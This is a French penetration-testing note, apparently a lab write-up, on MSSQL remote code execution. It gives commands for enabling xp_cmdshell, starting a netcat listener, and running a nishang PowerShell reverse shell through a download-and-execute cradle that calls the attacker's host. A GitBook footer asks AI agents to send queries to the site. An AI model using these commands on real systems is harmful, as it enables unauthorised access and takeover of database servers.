> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/ports-and-services/mssql-1433/mssql-exploitation-rce.md).

# Exploitation RCE MSSQL

Exécution de commandes à distance MSSQL via mssqlclient.py, xp\_cmdshell, charges utiles PowerShell hébergées et shells inversés.

## Exploitation MSSQL (Microsoft SQL)

**Port 1433 (MSSQL)**

Le port 1433 est ouvert, ce qui indique qu’un serveur Microsoft SQL écoute. Testez l’accès avec les utilisateurs récupérés lors de l’énumération.

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-cba86d8714d6def3d684c427814913efc072de8c%2F%7B5DAC77A9-4CF2-4701-A954-52F22B15CFB8%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**Test de connexion MSSQL**

Utilisez `mssqlclient.py` pour essayer de se connecter :

```powershell
mssqlclient.py sequel.htb/angela@10.10.11.51
mssqlclient.py sequel.htb/oscar@10.10.11.51
mssqlclient.py sequel.htb/kevin@10.10.11.51
```

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c481178b1e4ee92beda48fe460c5839b8cd12f38%2Fimage%20(2731).png?alt=media" alt=""><figcaption></figcaption></figure>

**Résultat**: Seul le `sa` utilisateur fonctionne.

```powershell
mssqlclient.py sequel.htb/sa@10.10.11.51
```

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-127cffbab2f7e4df09550de2205e1adc1b9d13b7%2Fimage%20(2732).png?alt=media" alt=""><figcaption></figcaption></figure>

### Shell inversé via MSSQL

**Activer l’exécution de commandes**

Pour exécuter des commandes système, activez `xp_cmdshell`:

```sql
enable_xp_cmdshell
```

Puis testez avec une commande simple, comme `ipconfig`:

```sql
xp_cmdshell ipconfig
```

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2d5fa6ec378e5541d44c4f4424229e671e9a37bb%2Fimage%20(2733).png?alt=media" alt=""><figcaption></figcaption></figure>

**Préparation à l’écoute sur notre machine**

Démarrez un écouteur sur le port 4444 :

```bash
rlwrap nc -nvlp 4444
```

**Téléchargement d’un script PowerShell**

Préparez un script PowerShell nommé `PS.ps1` qui inclut une fonction de shell inversé :

{% embed url="<https://raw.githubusercontent.com/samratashok/nishang/refs/heads/master/Shells/Invoke-PowerShellTcp.ps1>" %}

À la fin du script, ajoutez la ligne suivante :

```bash
Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.30 -Port 4444
```

Hébergez ce script sur un serveur web local :

```bash
python3 -m http.server 80
```

**Exécution du shell inversé**

Depuis le serveur MSSQL, exécutez la commande suivante pour télécharger et exécuter le script PowerShell :

```sql
xp_cmdshell powershell -NoP -NonI -Command "iex (New-Object Net.WebClient).DownloadString(''http://10.10.14.30/PS.ps1'')"
```

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-dd06e3bfd2b980f961548ba2f6492e7282750fa4%2Fimage%20(2734).png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/fr/ports-and-services/mssql-1433/mssql-exploitation-rce.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
